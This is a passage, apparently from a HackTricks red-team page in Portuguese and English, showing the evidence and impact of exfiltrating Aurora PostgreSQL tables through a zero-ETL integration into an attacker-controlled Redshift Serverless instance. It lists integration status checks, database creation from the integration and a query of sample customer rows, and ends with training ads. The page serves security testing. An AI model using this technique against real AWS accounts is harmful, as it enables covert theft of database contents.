  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:
377a462b-

  • SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
  • ApĂłs CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a table customers; a seleção de ztl.customers retornou 2 rows (Alice, Bob).

Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks